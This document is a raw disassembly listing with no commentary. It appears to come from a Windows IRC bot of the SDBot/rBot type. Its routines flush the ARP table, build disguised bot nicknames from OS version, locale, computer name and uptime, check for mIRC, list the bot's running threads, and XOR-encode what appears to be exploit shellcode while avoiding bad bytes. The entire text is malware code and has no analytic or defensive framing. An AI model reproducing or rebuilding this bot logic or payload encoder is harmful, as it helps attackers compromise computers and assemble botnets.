GetIpNetTable mov ecx, eax sub ecx, edi jz loc_40A9EE sub ecx, 32h jz loc_40A9E7 sub ecx, 48h jz short loc_40A988 sub ecx, 6Eh jz short loc_40A981 loc_40A96A: ; CODE XREF: sub_40A928+8Bj push eax lea eax, [ebp+Dest] push offset asc_42D8D8 ; "-" push eax ; Dest call _sprintf add esp, 0Ch jmp short loc_40A9C8 ; --------------------------------------------------------------------------- loc_40A981: ; CODE XREF: sub_40A928+40j push offset unk_42D8B4 jmp short loc_40A9BA ; --------------------------------------------------------------------------- loc_40A988: ; CODE XREF: sub_40A928+3Bj push [ebp+Size] ; Size call _malloc push [ebp+Size] ; Size mov esi, eax push edi ; Val push esi ; Dst call _memset add esp, 10h cmp esi, edi jz short loc_40A9B5 lea eax, [ebp+Size] push ebx push eax push esi call dword_4CBA50 ; GetIpNetTable cmp eax, edi jz short loc_40A9EE jmp short loc_40A96A ; --------------------------------------------------------------------------- loc_40A9B5: ; CODE XREF: sub_40A928+79j push offset asc_42D884 ; "-" loc_40A9BA: ; CODE XREF: sub_40A928+5Ej ; sub_40A928+C4j lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx loc_40A9C8: ; CODE XREF: sub_40A928+57j lea eax, [ebp+Dest] mov [ebp+var_4], edi push eax call sub_415D38 pop ecx loc_40A9D8: ; CODE XREF: sub_40A928+C8j ; sub_40A928+DCj push esi call sub_41BA91 mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40A9E7: ; CODE XREF: sub_40A928+32j push offset unk_42D854 jmp short loc_40A9BA ; --------------------------------------------------------------------------- loc_40A9EE: ; CODE XREF: sub_40A928+29j ; sub_40A928+89j cmp [esi], edi jbe short loc_40A9D8 lea ebx, [esi+4] loc_40A9F5: ; CODE XREF: sub_40A928+DAj push ebx call dword_4CBA4C ; DeleteIpNetEntry inc edi add ebx, 18h cmp edi, [esi] jb short loc_40A9F5 jmp short loc_40A9D8 sub_40A928 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AA06 proc near ; CODE XREF: sub_401ACD+21EDp ; sub_401ACD+233Ep ... Dst = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+Dst] push eax push [ebp+arg_0] call dword_4CB978 ; getsockname movzx eax, [ebp+var_D] push eax mov esi, offset byte_4CBB04 movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi ; Dest call _sprintf add esp, 18h mov eax, esi pop esi leave retn sub_40AA06 endp ; =============== S U B R O U T I N E ======================================= sub_40AA5F proc near ; CODE XREF: sub_413694+24Cp ; sub_413694+292p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax cmp esi, 1 jle short loc_40AA88 mov ecx, esi push edi shr ecx, 1 mov edx, ecx neg edx lea esi, [esi+edx*2] mov edx, [esp+8+arg_0] loc_40AA7B: ; CODE XREF: sub_40AA5F+24j movzx edi, word ptr [edx] add eax, edi inc edx inc edx dec ecx jnz short loc_40AA7B pop edi jmp short loc_40AA8C ; --------------------------------------------------------------------------- loc_40AA88: ; CODE XREF: sub_40AA5F+Aj mov edx, [esp+4+arg_0] loc_40AA8C: ; CODE XREF: sub_40AA5F+27j test esi, esi pop esi jz short loc_40AA96 movzx ecx, byte ptr [edx] add eax, ecx loc_40AA96: ; CODE XREF: sub_40AA5F+30j mov ecx, eax and eax, 0FFFFh shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40AA5F endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_40AAAC(char *Dest) sub_40AAAC proc near ; CODE XREF: sub_40AE84+49p ; DATA XREF: .data:off_42D920o Dest = dword ptr 4 push esi push edi call ds:dword_4270B0 ; GetTickCount push eax call sub_41C2B8 pop ecx call _rand xor edx, edx mov ecx, 48Fh div ecx mov edi, [esp+8+Dest] push off_42D99C[edx*4] push offset aS_6 ; "%s" push 1Ch ; Count push edi ; Dest call __snprintf xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AB14 loc_40AAEE: ; CODE XREF: sub_40AAAC+66j call _rand push 0Ah cdq pop ecx idiv ecx push edx push edi push offset aSI ; "%s%i" push 1Ch ; Count push edi ; Dest call __snprintf add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AAEE loc_40AB14: ; CODE XREF: sub_40AAAC+40j mov eax, edi pop edi pop esi retn sub_40AAAC endp ; --------------------------------------------------------------------------- push esi push edi call ds:dword_4270B0 ; GetTickCount push eax call sub_41C2B8 mov edi, [esp+10h] mov dword ptr [esp], offset asc_429138 ; "-" push offset aS_6 ; "%s" push 1Ch push edi call __snprintf xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AB72 loc_40AB4C: ; CODE XREF: .text:0040AB70j call _rand push 0Ah cdq pop ecx idiv ecx push edx push edi push offset aSI ; "%s%i" push 1Ch push edi call __snprintf add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AB4C loc_40AB72: ; CODE XREF: .text:0040AB4Aj mov eax, edi pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= sub_40AB77 proc near ; CODE XREF: sub_401ACD+68EEp arg_0 = dword ptr 4 push ebx push esi push edi call ds:dword_4270B0 ; GetTickCount push eax call sub_41C2B8 pop ecx call _rand push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, dword_429098 test esi, esi jle short loc_40ABBA loc_40ABA4: ; CODE XREF: sub_40AB77+41j call _rand push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_40ABA4 loc_40ABBA: ; CODE XREF: sub_40AB77+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_40AB77 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and dword ptr [ebp-4], 0 push esi push edi mov dword ptr [ebp-8], 100h call ds:dword_4270B0 ; GetTickCount push eax call sub_41C2B8 pop ecx lea eax, [ebp-8] mov esi, offset byte_4315F4 push eax push esi call ds:dword_4270C8 ; GetComputerNameA movsx eax, byte_4315F4 push 41h pop ecx push 1 pop edx loc_40AC00: ; CODE XREF: .text:0040AC0Bj cmp eax, ecx jnz short loc_40AC07 mov [ebp-4], edx loc_40AC07: ; CODE XREF: .text:0040AC02j inc ecx cmp ecx, 5Bh jl short loc_40AC00 push 61h pop ecx loc_40AC10: ; CODE XREF: .text:0040AC1Bj cmp eax, ecx jnz short loc_40AC17 mov [ebp-4], edx loc_40AC17: ; CODE XREF: .text:0040AC12j inc ecx cmp ecx, 7Bh jl short loc_40AC10 mov edi, [ebp+8] push esi push 1Ch push edi call __snprintf xor esi, esi add esp, 0Ch cmp dword_429098, esi jle short loc_40AC5C loc_40AC36: ; CODE XREF: .text:0040AC5Aj call _rand push 0Ah cdq pop ecx idiv ecx push edx push edi push offset aSI ; "%s%i" push 1Ch push edi call __snprintf add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AC36 loc_40AC5C: ; CODE XREF: .text:0040AC34j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi call ds:dword_4270B0 ; GetTickCount push eax call sub_41C2B8 pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h call ds:dword_4270CC ; GetLocaleInfoA mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset dword_4315F8 push 1Ch push edi call __snprintf xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40ACD1 loc_40ACAB: ; CODE XREF: .text:0040ACCFj call _rand push 0Ah cdq pop ecx idiv ecx push edx push edi push offset aSI ; "%s%i" push 1Ch push edi call __snprintf add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40ACAB loc_40ACD1: ; CODE XREF: .text:0040ACA9j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset byte_43DB88 mov dword ptr [ebp-94h], 94h call ds:dword_4270D0 ; GetVersionExA call ds:dword_4270B0 ; GetTickCount push eax call sub_41C2B8 cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_40AD5B cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AD3B cmp dword ptr [ebp-84h], 1 jnz short loc_40AD2B mov esi, offset a95 ; "95" loc_40AD2B: ; CODE XREF: .text:0040AD24j cmp dword ptr [ebp-84h], 2 jnz short loc_40AD97 mov esi, offset aNt_0 ; "NT" jmp short loc_40AD97 ; --------------------------------------------------------------------------- loc_40AD3B: ; CODE XREF: .text:0040AD1Bj cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_40AD4B mov esi, offset a98 ; "98" jmp short loc_40AD97 ; --------------------------------------------------------------------------- loc_40AD4B: ; CODE XREF: .text:0040AD42j cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_40AD92 mov esi, offset aMe_0 ; "ME" jmp short loc_40AD97 ; --------------------------------------------------------------------------- loc_40AD5B: ; CODE XREF: .text:0040AD12j cmp dword ptr [ebp-90h], 5 jnz short loc_40AD92 cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AD74 mov esi, offset a2k ; "2K" jmp short loc_40AD97 ; --------------------------------------------------------------------------- loc_40AD74: ; CODE XREF: .text:0040AD6Bj cmp dword ptr [ebp-8Ch], 1 jnz short loc_40AD84 mov esi, offset aXp ; "XP" jmp short loc_40AD97 ; --------------------------------------------------------------------------- loc_40AD84: ; CODE XREF: .text:0040AD7Bj cmp dword ptr [ebp-8Ch], 2 mov esi, offset a2k3 ; "2K3" jz short loc_40AD97 loc_40AD92: ; CODE XREF: .text:0040AD52j ; .text:0040AD62j mov esi, offset a??? ; "???" loc_40AD97: ; CODE XREF: .text:0040AD32j ; .text:0040AD39j ... mov edi, [ebp+8] push esi push offset aS_0 ; "[%s]|" push 1Ch push edi call __snprintf xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40ADDB loc_40ADB5: ; CODE XREF: .text:0040ADD9j call _rand push 0Ah cdq pop ecx idiv ecx push edx push edi push offset aSI ; "%s%i" push 1Ch push edi call __snprintf add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40ADB5 loc_40ADDB: ; CODE XREF: .text:0040ADB3j mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40ADE1(char *Dest) sub_40ADE1 proc near ; CODE XREF: sub_40AE84+5Cp Source = byte ptr -1Ch Dest = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi call ds:dword_4270B0 ; GetTickCount xor edx, edx mov ecx, 5265C00h div ecx push 0 push offset aMirc_0 ; "mIRC" mov esi, eax cmp esi, 64h jbe short loc_40AE30 call dword_4CB9E0 ; FindWindowA test eax, eax mov eax, offset aM ; "[M]" jnz short loc_40AE19 mov eax, offset byte_43DB88 loc_40AE19: ; CODE XREF: sub_40ADE1+31j push eax push esi push offset aDS ; "[%d]%s" lea eax, [ebp+Source] push 1Ch ; Count push eax ; Dest call __snprintf add esp, 14h jmp short loc_40AE50 ; --------------------------------------------------------------------------- loc_40AE30: ; CODE XREF: sub_40ADE1+22j call dword_4CB9E0 ; FindWindowA test eax, eax mov eax, offset aM ; "[M]" jnz short loc_40AE44 mov eax, offset byte_43DB88 loc_40AE44: ; CODE XREF: sub_40ADE1+5Cj push eax ; Format lea eax, [ebp+Source] push eax ; Dest call _sprintf pop ecx pop ecx loc_40AE50: ; CODE XREF: sub_40ADE1+4Dj lea eax, [ebp+Source] push eax ; Str call _strlen pop ecx cmp eax, 2 pop esi jbe short loc_40AE7F push 1Ch ; Count lea eax, [ebp+Source] push [ebp+Dest] ; Source push eax ; Dest call _strncat lea eax, [ebp+Source] push 1Ch ; Count push eax ; Source push [ebp+Dest] ; Dest call _strncpy add esp, 18h loc_40AE7F: ; CODE XREF: sub_40ADE1+7Dj mov eax, [ebp+Dest] leave retn sub_40ADE1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40AE84(char *Dest,int,int,char *Str1) sub_40AE84 proc near ; CODE XREF: sub_4017ED+7Fp ; sub_401955+50p ... Dest = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h Str1 = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi mov esi, offset dword_42D91C loc_40AE90: ; CODE XREF: sub_40AE84+3Fj cmp [ebp+Str1], 0 jz short loc_40AEAB lea eax, [esi-0Ch] push eax ; Str2 push [ebp+Str1] ; Str1 call _strcmp neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40AEB5 ; --------------------------------------------------------------------------- loc_40AEAB: ; CODE XREF: sub_40AE84+10j mov ecx, [esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_40AEB5: ; CODE XREF: sub_40AE84+25j test eax, eax jnz short loc_40AEC7 add esi, 14h inc edi cmp esi, offset off_42D9A8 jb short loc_40AE90 jmp short loc_40AED5 ; --------------------------------------------------------------------------- loc_40AEC7: ; CODE XREF: sub_40AE84+33j push [ebp+Dest] ; Dest lea eax, [edi+edi*4] call off_42D920[eax*4] pop ecx loc_40AED5: ; CODE XREF: sub_40AE84+41j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_40AEE8 push [ebp+Dest] ; Dest call sub_40ADE1 pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_40AEE8: ; CODE XREF: sub_40AE84+57j mov eax, [ebp+Dest] pop ebp retn sub_40AE84 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0B8h push ebx push esi lea eax, [ebp-0B8h] push edi push eax mov edi, offset byte_43DB88 mov dword ptr [ebp-0B8h], 94h call ds:dword_4270D0 ; GetVersionExA cmp dword ptr [ebp-0B4h], 4 push 0Ah pop ebx jnz short loc_40AF67 cmp dword ptr [ebp-0B0h], 0 jnz short loc_40AF48 cmp dword ptr [ebp-0A8h], 1 jnz short loc_40AF38 mov edi, offset a95 ; "95" loc_40AF38: ; CODE XREF: .text:0040AF31j cmp dword ptr [ebp-0A8h], 2 jnz short loc_40AFA3 mov edi, offset aNt_0 ; "NT" jmp short loc_40AFA3 ; --------------------------------------------------------------------------- loc_40AF48: ; CODE XREF: .text:0040AF28j cmp [ebp-0B0h], ebx jnz short loc_40AF57 mov edi, offset a98 ; "98" jmp short loc_40AFA3 ; --------------------------------------------------------------------------- loc_40AF57: ; CODE XREF: .text:0040AF4Ej cmp dword ptr [ebp-0B0h], 5Ah jnz short loc_40AF9E mov edi, offset aMe_0 ; "ME" jmp short loc_40AFA3 ; --------------------------------------------------------------------------- loc_40AF67: ; CODE XREF: .text:0040AF1Fj cmp dword ptr [ebp-0B4h], 5 jnz short loc_40AF9E cmp dword ptr [ebp-0B0h], 0 jnz short loc_40AF80 mov edi, offset a2k ; "2K" jmp short loc_40AFA3 ; --------------------------------------------------------------------------- loc_40AF80: ; CODE XREF: .text:0040AF77j cmp dword ptr [ebp-0B0h], 1 jnz short loc_40AF90 mov edi, offset aXp ; "XP" jmp short loc_40AFA3 ; --------------------------------------------------------------------------- loc_40AF90: ; CODE XREF: .text:0040AF87j cmp dword ptr [ebp-0B0h], 2 mov edi, offset dword_431684 jz short loc_40AFA3 loc_40AF9E: ; CODE XREF: .text:0040AF5Ej ; .text:0040AF6Ej mov edi, offset dword_431680 loc_40AFA3: ; CODE XREF: .text:0040AF3Fj ; .text:0040AF46j ... lea eax, [ebp-0A4h] push offset word_4CB88C push eax call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40AFC1 mov esi, offset dword_43167C jmp short loc_40B03C ; --------------------------------------------------------------------------- loc_40AFC1: ; CODE XREF: .text:0040AFB8j lea eax, [ebp-0A4h] push offset a1 ; "1" push eax call _strstr pop ecx test eax, eax pop ecx jz short loc_40AFDF mov esi, offset dword_431678 jmp short loc_40B03C ; --------------------------------------------------------------------------- loc_40AFDF: ; CODE XREF: .text:0040AFD6j lea eax, [ebp-0A4h] push offset dword_431674 push eax call _strstr pop ecx test eax, eax pop ecx jz short loc_40AFFD mov esi, offset dword_431670 jmp short loc_40B03C ; --------------------------------------------------------------------------- loc_40AFFD: ; CODE XREF: .text:0040AFF4j lea eax, [ebp-0A4h] push offset dword_43166C push eax call _strstr pop ecx test eax, eax pop ecx jz short loc_40B01B mov esi, offset dword_431668 jmp short loc_40B03C ; --------------------------------------------------------------------------- loc_40B01B: ; CODE XREF: .text:0040B012j lea eax, [ebp-0A4h] push offset dword_431664 push eax call _strstr pop ecx mov esi, offset dword_431660 test eax, eax pop ecx jnz short loc_40B03C mov esi, offset off_43165C loc_40B03C: ; CODE XREF: .text:0040AFBFj ; .text:0040AFDDj ... lea eax, [ebp-0Ch] or dword ptr [ebp-4], 0FFFFFFFFh push eax or dword ptr [ebp-8], 0FFFFFFFFh or dword ptr [ebp-0Ch], 0FFFFFFFFh lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax push offset aDdDhDm ; "%dd %dh %dm" push 0 call sub_41ADD8 pop ecx push eax call _sscanf mov eax, [ebp-4] add esp, 14h cmp eax, ebx jge short loc_40B086 push eax push offset a0D ; "0%d" lea eax, [ebp-18h] push ebx push eax call __snprintf add esp, 10h jmp short loc_40B0AA ; --------------------------------------------------------------------------- loc_40B086: ; CODE XREF: .text:0040B06Fj cmp eax, 64h jge short loc_40B098 lea ecx, [ebp-18h] push ebx push ecx push eax call __itoa jmp short loc_40B0A7 ; --------------------------------------------------------------------------- loc_40B098: ; CODE XREF: .text:0040B089j push offset a99 ; "99" lea eax, [ebp-18h] push ebx push eax call __snprintf loc_40B0A7: ; CODE XREF: .text:0040B096j add esp, 0Ch loc_40B0AA: ; CODE XREF: .text:0040B084j call ds:dword_4270B0 ; GetTickCount push eax call sub_41C2B8 pop ecx lea eax, [ebp-24h] push ebx push eax push 7 push 800h call ds:dword_4270CC ; GetLocaleInfoA lea eax, [ebp-18h] push eax push esi lea eax, [ebp-24h] push edi mov edi, [ebp+8] push eax push offset aSSSS_0 ; "%s|%s|%s|%s|" push 1Ch push edi call __snprintf xor esi, esi add esp, 1Ch cmp dword_429098, esi jle short loc_40B115 loc_40B0F0: ; CODE XREF: .text:0040B113j call _rand cdq mov ecx, ebx idiv ecx push edx push edi push offset aSI ; "%s%i" push 1Ch push edi call __snprintf add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40B0F0 loc_40B115: ; CODE XREF: .text:0040B0EEj mov eax, edi pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_40B11C(char *Str,int) sub_40B11C proc near ; CODE XREF: sub_40B13C+Ap ; sub_40B214+8p ... Str = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+Str] ; Str call _strlen push [esp+8+arg_4] ; Str mov esi, eax call _strlen pop ecx lea eax, [esi+eax*2+0C1h] pop ecx pop esi retn sub_40B11C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40B13C(void *Dst,int,char *Src,int) sub_40B13C proc near ; CODE XREF: sub_40B22B+49p var_4 = dword ptr -4 Dst = dword ptr 8 arg_4 = dword ptr 0Ch Src = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push [ebp+arg_C] ; int push [ebp+Src] ; Str call sub_40B11C cmp eax, [ebp+arg_4] pop ecx pop ecx mov [ebp+var_4], eax jbe short loc_40B159 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40B159: ; CODE XREF: sub_40B13C+17j push ebx push esi push edi push [ebp+Src] ; Str call _strlen push [ebp+arg_C] ; Str mov esi, eax call _strlen mov edi, eax mov ebx, [ebp+Dst] push 0FFFFFFEDh lea eax, [edi+esi+12h] mov dword_43171C, eax lea eax, [edi+1] mov dword_43173D, eax lea eax, [edi+17h] mov dword_431735, eax pop eax push 74h ; Size sub eax, edi push offset dword_4316B8 ; Src push ebx ; Dst mov dword_43174B, eax call _memcpy push esi ; Size lea eax, [ebx+74h] push [ebp+Src] ; Src push eax ; Dst call _memcpy add esi, 74h push 5 ; Size push offset aGet ; " get " lea eax, [esi+ebx] push eax ; Dst call _memcpy add esi, 5 push edi ; Size push [ebp+arg_C] ; Src lea eax, [esi+ebx] push eax ; Dst call _memcpy add esi, edi push 10h ; Size push (offset aGet+5) ; Src lea eax, [esi+ebx] push eax ; Dst call _memcpy add esp, 44h add esi, 10h push edi ; Size lea eax, [esi+ebx] push [ebp+arg_C] ; Src push eax ; Dst call _memcpy add esi, edi push 38h ; Size add esi, ebx push offset byte_431741 ; Src push esi ; Dst call _memcpy mov eax, [ebp+var_4] add esp, 18h pop edi pop esi pop ebx leave retn sub_40B13C endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_40B214(char *Str,int) sub_40B214 proc near ; CODE XREF: sub_40B22B+Dp Str = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] ; int push [esp+4+Str] ; Str call sub_40B11C push eax call sub_40B298 add esp, 0Ch retn sub_40B214 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40B22B(void *Dst,int,char *Str,int) sub_40B22B proc near ; CODE XREF: sub_40DCF9+32p Dst = dword ptr 8 arg_4 = dword ptr 0Ch Src = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx mov ebx, [ebp+Src] push edi mov edi, [ebp+arg_C] push edi ; int push ebx ; Str call sub_40B214 cmp eax, [ebp+arg_4] pop ecx pop ecx ja short loc_40B24B cmp eax, 0FFFFh jbe short loc_40B24F loc_40B24B: ; CODE XREF: sub_40B22B+17j xor eax, eax jmp short loc_40B294 ; --------------------------------------------------------------------------- loc_40B24F: ; CODE XREF: sub_40B22B+1Ej push esi push edi ; int push ebx ; Str call sub_40B11C add eax, 101h push eax ; Size call _malloc add esp, 0Ch mov esi, eax push edi ; int push ebx ; Src push edi ; int push ebx ; Str call sub_40B11C pop ecx pop ecx push eax ; int push esi ; Dst call sub_40B13C push eax ; int push esi ; int push [ebp+arg_4] ; int push [ebp+Dst] ; Dst call sub_40B2B3 push esi mov edi, eax call sub_41BA91 add esp, 24h mov eax, edi pop esi loc_40B294: ; CODE XREF: sub_40B22B+22j pop edi pop ebx pop ebp retn sub_40B22B endp ; =============== S U B R O U T I N E ======================================= sub_40B298 proc near ; CODE XREF: sub_40B214+Ep ; sub_40B2B3+4Ap arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test cl, cl jnz short loc_40B2A1 inc ecx loc_40B2A1: ; CODE XREF: sub_40B298+6j mov eax, 0FFh cmp eax, ecx sbb eax, eax and eax, 2 add eax, 15h add eax, ecx retn sub_40B298 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40B2B3(void *Dst,int,int,int) sub_40B2B3 proc near ; CODE XREF: sub_40B22B+56p var_4 = dword ptr -4 Dst = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx cmp byte ptr [ebp+arg_C], 0Ah jz short loc_40B2CF cmp byte ptr [ebp+arg_C], 0Dh jz short loc_40B2CF cmp byte ptr [ebp+arg_C], 5Ch jz short loc_40B2CF cmp byte ptr [ebp+arg_C], 0 jnz short loc_40B2D2 loc_40B2CF: ; CODE XREF: sub_40B2B3+8j ; sub_40B2B3+Ej ... inc [ebp+arg_C] loc_40B2D2: ; CODE XREF: sub_40B2B3+1Aj push esi mov esi, 0FFh cmp [ebp+arg_C], esi jbe short loc_40B2FA mov eax, [ebp+arg_C] shr eax, 8 cmp al, 0Ah jz short loc_40B2F3 cmp al, 0Dh jz short loc_40B2F3 cmp al, 5Ch jz short loc_40B2F3 test al, al jnz short loc_40B2FA loc_40B2F3: ; CODE XREF: sub_40B2B3+32j ; sub_40B2B3+36j ... add [ebp+arg_C], 100h loc_40B2FA: ; CODE XREF: sub_40B2B3+28j ; sub_40B2B3+3Ej push [ebp+arg_C] call sub_40B298 cmp eax, [ebp+arg_4] pop ecx mov [ebp+var_4], eax ja short loc_40B312 cmp eax, 0FFFFh jbe short loc_40B319 loc_40B312: ; CODE XREF: sub_40B2B3+56j xor eax, eax jmp loc_40B3B7 ; --------------------------------------------------------------------------- loc_40B319: ; CODE XREF: sub_40B2B3+5Dj mov ecx, [ebp+arg_C] push ebx mov bl, byte_4CBB18 xor edx, edx push edi mov edi, [ebp+arg_8] test ecx, ecx jbe short loc_40B349 loc_40B32D: ; CODE XREF: sub_40B2B3+94j mov al, [edx+edi] xor al, bl jz short loc_40B340 cmp al, 0Ah jz short loc_40B340 cmp al, 0Dh jz short loc_40B340 cmp al, 5Ch jnz short loc_40B344 loc_40B340: ; CODE XREF: sub_40B2B3+7Fj ; sub_40B2B3+83j ... inc bl xor edx, edx loc_40B344: ; CODE XREF: sub_40B2B3+8Bj inc edx cmp edx, ecx jb short loc_40B32D loc_40B349: ; CODE XREF: sub_40B2B3+78j cmp ecx, esi mov byte_4CBB18, bl ja short loc_40B375 push 15h ; Size push offset dword_4316A0 ; Src push [ebp+Dst] ; Dst mov byte_4316AD, cl mov byte_4316B1, bl call _memcpy add esp, 0Ch push 15h jmp short loc_40B396 ; --------------------------------------------------------------------------- loc_40B375: ; CODE XREF: sub_40B2B3+9Ej push 17h ; Size push offset dword_431688 ; Src push [ebp+Dst] ; Dst mov word_431696, cx mov byte_43169B, bl call _memcpy add esp, 0Ch push 17h loc_40B396: ; CODE XREF: sub_40B2B3+C0j xor eax, eax pop ecx cmp [ebp+arg_C], eax jbe short loc_40B3B2 mov edx, [ebp+Dst] lea esi, [ecx+edx] loc_40B3A4: ; CODE XREF: sub_40B2B3+FDj mov cl, [eax+edi] xor cl, bl mov [esi+eax], cl inc eax cmp eax, [ebp+arg_C] jb short loc_40B3A4 loc_40B3B2: ; CODE XREF: sub_40B2B3+E9j mov eax, [ebp+var_4] pop edi pop ebx loc_40B3B7: ; CODE XREF: sub_40B2B3+61j pop esi leave retn sub_40B2B3 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_40B3BA(char *Source,int,int) sub_40B3BA proc near ; CODE XREF: WinMain(x,x,x,x)+378p ; WinMain(x,x,x,x)+3B7p ... Source = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_43E710 loc_40B3C2: ; CODE XREF: sub_40B3BA+18j cmp byte ptr [eax], 0 jz short loc_40B3D6 add eax, 234h inc edi cmp eax, offset dword_4CB710 jl short loc_40B3C2 jmp short loc_40B421 ; --------------------------------------------------------------------------- loc_40B3D6: ; CODE XREF: sub_40B3BA+Bj push esi mov esi, edi imul esi, 234h push 1FFh ; Count push [esp+0Ch+Source] ; Source lea eax, dword_43E710[esi] push eax ; Dest call _strncpy mov eax, [esp+14h+arg_4] add esp, 0Ch mov dword_43E910[esi], eax and dword_43E914[esi], 0 mov eax, [esp+8+arg_8] and dword_43E918[esi], 0 mov dword_43E91C[esi], eax and byte_43E928[esi], 0 pop esi loc_40B421: ; CODE XREF: sub_40B3BA+1Aj mov eax, edi pop edi retn sub_40B3BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B425 proc near ; DATA XREF: sub_401ACD+2946o var_98 = dword ptr -98h Str = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd push [ebp+var_10] ; int mov dword ptr [eax+94h], 1 lea eax, [ebp+Str] push [ebp+var_C] ; int push eax ; Str push [ebp+var_98] ; int call sub_40B477 push [ebp+var_14] call sub_40B6D6 add esp, 14h push 0 call ds:dword_4270D4 ; ExitThread pop edi pop esi sub_40B425 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40B477(int,char *Str,int,int) sub_40B477 proc near ; CODE XREF: sub_40B425+38p Dest = byte ptr -200h arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 ; int push [ebp+arg_8] ; int push offset dword_43177C ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409869 add esp, 14h xor edi, edi mov esi, offset dword_43E710 loc_40B4A1: ; CODE XREF: sub_40B477+78j cmp byte ptr [esi], 0 jz short loc_40B4E2 cmp [ebp+arg_C], 0 jnz short loc_40B4B5 cmp dword ptr [esi+204h], 0 jnz short loc_40B4E2 loc_40B4B5: ; CODE XREF: sub_40B477+33j push esi push edi lea eax, [ebp+Dest] push offset aD_S ; "%d. %s" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409869 add esp, 24h loc_40B4E2: ; CODE XREF: sub_40B477+2Dj ; sub_40B477+3Cj add esi, 234h inc edi cmp esi, offset dword_4CB710 jl short loc_40B4A1 pop edi 